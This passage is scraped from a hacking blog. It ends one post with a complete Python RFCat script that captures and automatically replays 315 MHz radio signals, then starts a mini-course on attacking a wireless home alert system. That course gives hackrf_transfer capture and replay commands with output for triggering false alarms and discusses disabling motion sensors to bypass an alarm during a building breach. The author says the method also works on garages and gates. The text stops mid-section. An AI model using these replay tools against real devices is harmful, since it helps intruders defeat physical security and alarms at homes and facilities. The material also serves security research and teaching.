Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.<span class="Apple-converted-space"> </span>I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.<span class="Apple-converted-space"> </span>I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits.<span class="Apple-converted-space"> </span><br />
<br />
<br />
Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly. So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.</div>
<div class="p2">
<br /></div>
<div class="p1">
Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn’t overburdened. I already broke a few of these devices during testing LOL.<span class="Apple-converted-space"> </span></div>
<div class="p2">
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.<br />
<br />
<br /></div>
<div class="p1">
<span style="color: #38761d;">#—————<b>YardStick_InstantReplay_SimpleVersion.py</b> ----------#</span></div>
<div class="p1">
<span style="color: #38761d;"># @Ficti0n</span></div>
<div class="p1">
<span style="color: #38761d;"># http://consolecowboys.com<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span>
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">from rflib import *</span></div>
<div class="p1">
<span style="color: #38761d;">import time</span></div>
<div class="p1">
<span style="color: #38761d;">import re</span></div>
<div class="p1">
<span style="color: #38761d;">import bitstring</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">print("Listening for them signals in ASK")</span></div>
<div class="p1">
<span style="color: #38761d;">d = RfCat()</span></div>
<div class="p1">
<span style="color: #38761d;">d.setFreq(315000000)</span></div>
<div class="p1">
<span style="color: #38761d;">d.setMdmModulation(MOD_ASK_OOK)</span></div>
<div class="p1">
<span style="color: #38761d;">d.setMdmDRate(4800)</span></div>
<div class="p1">
<span style="color: #38761d;">d.setMaxPower()</span></div>
<div class="p1">
<span style="color: #38761d;">d.lowball()</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">#-----------Start Capture 1 Transmission ----------#</span></div>
<div class="p1">
<span style="color: #38761d;">capture = ""</span></div>
<div class="p1">
<span style="color: #38761d;">while (1):</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>try:</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>y, z = d.RFrecv()</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>capture = y.encode('hex')</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print capture</span></div>
<div class="p2">
<span class="Apple-converted-space" style="color: #38761d;"> </span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>except ChipconUsbTimeoutException:<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>pass</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>if capture:</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>break</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">#Parse Hex from the capture by reducing 0's</span></div>
<div class="p1">
<span style="color: #38761d;">payloads = re.split ('0000*', capture)</span></div>
<div class="p1">
<span style="color: #38761d;">print payloads</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">#----------Start Parse and Create Payload---------#</span></div>
<div class="p1">
<span style="color: #38761d;">for payload in payloads:<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<span class="Apple-converted-space" style="color: #38761d;"> </span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>formated = ""</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>if (len(payload) > 6) and (len(payload) % 2 == 0):</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print "Currently being formatted to binary: " + payload<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>binary = bin(int(payload,16))[2:]</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print binary</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print "Converting binary to bytes: "</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>formatted = bitstring.BitArray(bin=(binary)).tobytes()</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>else:</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>continue</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">#------------Send Transmission--------------------#</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>time.sleep(2)</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print "Sending bytes with padding"</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print 'Transmission Complete'</span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Thats All Folks, Whats Next:<span class="Apple-converted-space"> </span></span></h3>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
span.s1 {color: #454545}
span.s2 {color: #e4af0a}
</style>
<br />
<div class="p1">
I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.<span class="Apple-converted-space"> Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. </span></div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
</style>Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com1tag:blogger.com,1999:blog-5948768001255972621.post-20307647489511299472017-10-17T10:13:00.004-07:002017-10-17T21:58:34.590-07:00Hacking Everything with RF and Software Defined Radio - Part 1<br />
<h3>
This will be a Mini Course on Attacking Devices with RF from a hackers perspective</h3>
<br />
I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning. The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.<br />
You can follow us online at the following if your really bored:<br />
Twitter: <a href="https://twitter.com/ficti0n">@Ficti0n</a> , <a href="https://twitter.com/GarrGhar">GarrGhar</a><br />
<div class="p2">
Site: <a href="http://cclabs.io/">CCLabs.io </a><br />
<h2>
<br /></h2>
<h2>
Items needed to Follow Along: </h2>
<h3>
<b><u>Purchase Target:</u> </b></h3>
<b>Home Alert System:</b> <a href="https://goo.gl/W56Eau">https://goo.gl/W56Eau</a> </div>
<div class="p4">
I settled on hacking a home alert system for the first blog, which contained the following Items:<span class="Apple-converted-space"> </span><br />
<ul>
<li>A doorBell</li>
<li>Motion Sensors with alarm alerts</li>
<li>Door sensors to alert when the door is opened</li>
<li>Home Hub Receiver</li>
</ul>
<div>
<h3>
<b><u>Purchase Tools Needed: </u></b></h3>
</div>
<b>HackRF:</b> <a href="https://goo.gl/3trM5Q">https://goo.gl/3trM5Q</a><br />
<b>YardStick:</b> <a href="https://goo.gl/wd88sr">https://goo.gl/wd88sr</a> <br />
<b>RTL SDR:</b> <a href="https://goo.gl/B5uUAR">https://goo.gl/B5uUAR</a> <style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
span.s1 {text-decoration: underline}
span.s2 {color: #454545}
</style>
<br />
<div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
span.s1 {color: #454545}
span.s2 {text-decoration: underline ; color: #e4af0a}
</style>
</div>
</div>
<div class="p2">
<br />
<br />
<h2>
Penetration Testing BrainStorming Session: </h2>
</div>
<div class="p4">
I brainstormed with a friend the following attack avenues for this device:<span class="Apple-converted-space"> </span><br />
<ul>
<li>Ring the doorbell<span class="Apple-converted-space"> </span>(Our Hello World)<span class="Apple-converted-space"> </span></li>
<li>Trigger the motion sensors</li>
<li>Remotely disable the motion sensors</li>
<li>Jam frequencies for Denial Of Service<span class="Apple-converted-space"> </span></li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p4">
This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don’t have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below.<span class="Apple-converted-space"> </span><br />
<br />
<ul>
<li>Using HackRF for RF Replay attacks<span class="Apple-converted-space"> </span></li>
<li>Using Yardstick One for Replay attacks<span class="Apple-converted-space"> </span></li>
<li>Demodulating and decoding signals for use with RF attacks<span class="Apple-converted-space"> </span></li>
<li>Discovering and troubleshooting issues</li>
<li>Coding tools in python and RFCat</li>
<li>RF Jamming Attacks</li>
</ul>
</div>
<h3>
</h3>
<h2>
<b><br /></b></h2>
<h2>
<b>Video Series PlayList Associated with this blog:<span class="Apple-converted-space"> </span></b></h2>
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/videoseries?list=PLCwnLq3tOElpXe1HqK6m-wVDCsqyBNhlb" width="560"></iframe>
<br />
<div>
<b><span class="Apple-converted-space"><br /></span></b></div>
<div class="p2">
<br /></div>
<h2>
<b>Initial Profiling of our Device:<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
What does our device do in normal operation?<span class="Apple-converted-space"> </span></div>
<div class="p4">
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
How do they Connect?</div>
<div class="p4">
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Determining the Frequency:<span class="Apple-converted-space"> </span></div>
<div class="p4">
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to <a href="https://fccid.io/"><span class="s2">https://fccid.io/</span></a> and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxtBJPZ_xD2NS3FO80zkAl5hRUaVbZ-E2HqM7gZOdfDN0DGs9EHSrh_LQrFTQyL44WaP41za5C7MDjzRrJPKWnV86rXXCjBKmu4YAGLXB9sY4QTQxLAQhjBL_EDsqnc_9_fZwaefKhhXLM/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="132" data-original-width="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxtBJPZ_xD2NS3FO80zkAl5hRUaVbZ-E2HqM7gZOdfDN0DGs9EHSrh_LQrFTQyL44WaP41za5C7MDjzRrJPKWnV86rXXCjBKmu4YAGLXB9sY4QTQxLAQhjBL_EDsqnc_9_fZwaefKhhXLM/s1600/1.png" /></a></div>
<br />
<br />
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
</style>
<br />
<h2>
<b>Replay attacks with HackRF To Trigger / Disable Sensors:<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Below is a photo of the HackRF One hardware used in the first attack and linked above.<span class="Apple-converted-space"> </span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga_XqadoRMpk6EWUi9dyXXFNUmlhuZI7KHjucAIKdlMF8Pc_xJcdeB3nesLfzJfjLdX6DoeH1OX0dDr8x_fBaiCOdYUoVX3GrnCI7-2KMnzKj8C_10qphSm4-elby5B6m28XOax-T6Glkc/s1600/HackRFOne.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="178" data-original-width="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga_XqadoRMpk6EWUi9dyXXFNUmlhuZI7KHjucAIKdlMF8Pc_xJcdeB3nesLfzJfjLdX6DoeH1OX0dDr8x_fBaiCOdYUoVX3GrnCI7-2KMnzKj8C_10qphSm4-elby5B6m28XOax-T6Glkc/s1600/HackRFOne.jpeg" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
<h3>
<b>Install HackRF Software:<span class="Apple-converted-space"> </span></b></h3>
</div>
<div class="p4">
Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro:<span class="Apple-converted-space"> </span><br />
<ul>
<li>brew install hackrf</li>
<li>Plug in HackRF and type hackrf_info to confirm its working</li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p4">
Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.<span class="Apple-converted-space"> </span>The following 2 commands are listed below.<span class="Apple-converted-space"> </span>The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by “Input file end reached. Rewind to beginning” within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<b><br /></b></div>
<div class="p2">
<h3>
<b>Simple Replay Commands: </b></h3>
</div>
<div class="p4">
hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20</div>
<div class="p4">
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R</div>
<div class="p2">
<br /></div>
<div class="p4">
By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.<span class="Apple-converted-space"> </span>Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h3>
Receive: (Capture Traffic from HackRF):<span class="Apple-converted-space"> </span></h3>
<div class="p4">
Destroy: ficti0n$ <b>sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20</b></div>
<div class="p4">
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)</div>
<div class="p4">
call hackrf_set_freq(315000000 Hz/315.000 MHz)</div>
<div class="p4">
Stop with Ctrl-C</div>
<div class="p4">
19.9 MiB / 1.005 sec = 19.8 MiB/second</div>
<div class="p4">
20.2 MiB / 1.001 sec = 20.2 MiB/second</div>
<div class="p4">
19.9 MiB / 1.004 sec = 19.9 MiB/second</div>
<div class="p4">
20.2 MiB / 1.005 sec = 20.1 MiB/second</div>
<div class="p4">
^CCaught signal 2</div>
<div class="p4">
<span class="Apple-converted-space"> </span>5.2 MiB / 0.257 sec = 20.4 MiB/second</div>
<div class="p2">
<br /></div>
<div class="p4">
Exiting...</div>
<div class="p4">
Total time: 4.27196 s</div>
<div class="p4">
hackrf_stop_rx() done</div>
<div class="p4">
hackrf_close() done</div>
<div class="p4">
hackrf_exit() done</div>
<div class="p4">
fclose(fd) done</div>
<div class="p4">
exit</div>
<div class="p2">
<br /></div>
<h3>
Transmit: (Trigger alarm from HackRF)<span class="Apple-converted-space"> </span></h3>
<div class="p4">
Destroy: ficti0n$ <b>sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R</b></div>
<div class="p4">
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)</div>
<div class="p4">
call hackrf_set_freq(315000000 Hz/315.000 MHz)</div>
<div class="p4">
Stop with Ctrl-C</div>
<div class="p4">
19.9 MiB / 1.000 sec = 19.9 MiB/second</div>
<div class="p4">
19.9 MiB / 1.005 sec = 19.8 MiB/second</div>
<div class="p4">
20.2 MiB / 1.005 sec = 20.1 MiB/second</div>
<div class="p4">
20.2 MiB / 1.000 sec = 20.2 MiB/second</div>
<div class="p4">
Input file end reached. Rewind to beginning.</div>
<div class="p4">
20.2 MiB / 1.005 sec = 20.1 MiB/second</div>
<div class="p4">
20.2 MiB / 1.001 sec = 20.2 MiB/second</div>
<div class="p4">
19.9 MiB / 1.005 sec = 19.8 MiB/second</div>
<div class="p4">
20.2 MiB / 1.000 sec = 20.2 MiB/second</div>
<div class="p4">
^CCaught signal 2</div>
<div class="p4">
12.8 MiB / 0.654 sec = 19.7 MiB/second</div>
<div class="p2">
<br /></div>
<div class="p4">
Exiting...</div>
<div class="p4">
Total time: 12.68557 s</div>
<div class="p4">
hackrf_stop_tx() done</div>
<div class="p4">
hackrf_close() done</div>
<div class="p4">
hackrf_exit() done</div>
<div class="p4">
fclose(fd) done</div>
<div class="p4">
exit</div>
<div class="p2">
<br /></div>
<div class="p4">
While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.<span class="Apple-converted-space"> </span>This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h2>
<b>Further Profiling our Devices Functionality:<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<h3>
<b>GQRX Install:</b></h3>
</div>
<div class="p4">
You can grab GQRX from the following location for OSX,<span class="Apple-converted-space"> </span>on linux whatever package manager your distro uses should be sufficient for installing GQRX:<span class="Apple-converted-space"> </span></div>
<div class="p5">
<a href="http://gqrx.dk/download">http://gqrx.dk/download</a></div>
<div class="p2">
<br /></div>
<div class="p4">
Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR:<span class="Apple-converted-space"> </span></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp_s4wLUew8ui4_vNZyDwtVrEIadRNPDEyZhoL842blwep6B3u7Xo3-ndF7XWIOgRupxTRVis16tmdXDCqOaURNz4RX1UI1durD-5M0kWH2pb6JyDahg21HUAC1RAQ2izywHpCOLG-5kRN/s1600/GQRX_Settings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="886" data-original-width="674" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp_s4wLUew8ui4_vNZyDwtVrEIadRNPDEyZhoL842blwep6B3u7Xo3-ndF7XWIOgRupxTRVis16tmdXDCqOaURNz4RX1UI1durD-5M0kWH2pb6JyDahg21HUAC1RAQ2izywHpCOLG-5kRN/s320/GQRX_Settings.png" width="243" /></a></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
Select OK and the interface will load up, I made the following changes.<br />
<br />
<ul>
<li>I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.</li>
<li>I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets.<span class="Apple-converted-space"> </span></li>
<li>I then hit play and could view the 315 MHz frequency range.<span class="Apple-converted-space"> </span></li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p4">
When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.<span class="Apple-converted-space"> </span>I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIEUzrk0ic_6QNNd4GJeOmtfRqELqTiB12Z_blxA4vyIifmLerGWJfA-d1d5Hh1bHiHuozjX62ygIO6KPb2lhx1GxdelAeQLkKFJ3l7HP1gdkbiq0HOPUk6v70ezZluLOw7J8ibEdxWWxd/s1600/GQRX+Capture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="840" data-original-width="1600" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIEUzrk0ic_6QNNd4GJeOmtfRqELqTiB12Z_blxA4vyIifmLerGWJfA-d1d5Hh1bHiHuozjX62ygIO6KPb2lhx1GxdelAeQLkKFJ3l7HP1gdkbiq0HOPUk6v70ezZluLOw7J8ibEdxWWxd/s640/GQRX+Capture.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this<span class="Apple-converted-space"> </span>will disable the alarm from triggering during a limited time period. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
<b>Can we replay the Motion Sensor Turn off??<span class="Apple-converted-space"> </span></b></div>
<div class="p4">
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.<span class="Apple-converted-space"> </span>So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.<span class="Apple-converted-space"> </span>So we need another technique.<span class="Apple-converted-space"> </span>I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h2>
<b>Decoding Signal Patterns for Sending With The YardStick One:<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
Below is a picture of the yard Stick tool used in the following attacks</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP3z6LXkjhaEid7rREryy3Ppaav3vFcftplpAkMKPZnSfrHamh4F5zt09WkAe51vcl-r7Xf6QgjrpdHYn1gNHoaLcvqlQLu6TF72cQTkgoYD7iWEmY-aTbDqSZnaJDHjmkseKmXNYXWY3e/s1600/YardStickOne.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="173" data-original-width="291" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP3z6LXkjhaEid7rREryy3Ppaav3vFcftplpAkMKPZnSfrHamh4F5zt09WkAe51vcl-r7Xf6QgjrpdHYn1gNHoaLcvqlQLu6TF72cQTkgoYD7iWEmY-aTbDqSZnaJDHjmkseKmXNYXWY3e/s1600/YardStickOne.jpeg" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
<h3>
<b>Documented Process:<span class="Apple-converted-space"> </span></b></h3>
</div>
<div class="p4">
Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following:<span class="Apple-converted-space"> </span><br />
<br />
<ul>
<li>Record the transmission with the SDR dongle and GQRX</li>
<li>Demodulate and Decode with Audacity into binary (1s & 0s)</li>
<li>Convert the Binary to Hex (0x)</li>
<li>Replay with YardStick in python and RFCat libraries<span class="Apple-converted-space"> </span></li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p4">
<h3>
<b>Troubleshooting Extra Steps:<span class="Apple-converted-space"> </span></b></h3>
</div>
<div class="p4">
However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process:<span class="Apple-converted-space"> </span><br />
<br />
<ul>
<li>Record your YardStick Replay with GQRX and adjust the frequency again based on output</li>
<li>Compare your transmission waveform to that of the original transmitters waveform to insure your 1’s & 0’s were calculated properly</li>
<li>Add some<span class="Apple-converted-space"> </span>padding in form of \x00 to the end of your Hex to make it work.<span class="Apple-converted-space"> </span></li>
<li>Adjust the number of times you repeat your transmissions</li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p2">
<h3>
<b>Record Transmission with GQRX: </b></h3>
</div>
<div class="p4">
OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. </div>
<div class="p4">
<br /></div>
<div class="p4">
<h3>
<b>Install Audacity: </b></h3>
</div>
<div class="p4">
You can download audacity at the following link for OSX as well as other platforms. <a href="http://www.audacityteam.org/download/"><span class="s2">http://www.audacityteam.org/download/</span></a><span class="Apple-converted-space"> </span>You should also be able to use your distro’s package management to install this tool if it is not found on the site.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIsvNfK3CYKAdgMAhmdKX3gwgm6-jv5W0oyRQaZ1jFJF2h2y977_XGDco4kOfnm7Tw5UDbj76uYL92aSgBVuZVNv8KraMogDpopR5zpxCv9q4ssQ0Rhc5DSU82udIPEPorApYa3kIA-Gi/s1600/DoorBellCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="544" data-original-width="970" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIsvNfK3CYKAdgMAhmdKX3gwgm6-jv5W0oyRQaZ1jFJF2h2y977_XGDco4kOfnm7Tw5UDbj76uYL92aSgBVuZVNv8KraMogDpopR5zpxCv9q4ssQ0Rhc5DSU82udIPEPorApYa3kIA-Gi/s640/DoorBellCapture.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.<span class="Apple-converted-space"> </span>Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1’s and the low points are your 0’s:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGPDAaz7OLbtkuewEn_6U2qGT3w2KhyphenhyphenF8memjnBrWd791qcNuC42psjE8mK2gZ1cebwX2EzAvd0eJeIw_VQYv7ehtB2zw85p5uTraTXxRUI5IvGUQtaLX7PT7xVHZBSNPkyZ-qf9NErnhR/s1600/DoorBellZoomedIN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="616" data-original-width="1090" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGPDAaz7OLbtkuewEn_6U2qGT3w2KhyphenhyphenF8memjnBrWd791qcNuC42psjE8mK2gZ1cebwX2EzAvd0eJeIw_VQYv7ehtB2zw85p5uTraTXxRUI5IvGUQtaLX7PT7xVHZBSNPkyZ-qf9NErnhR/s640/DoorBellZoomedIN.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
Decode to binary: </h3>
<div class="p4">
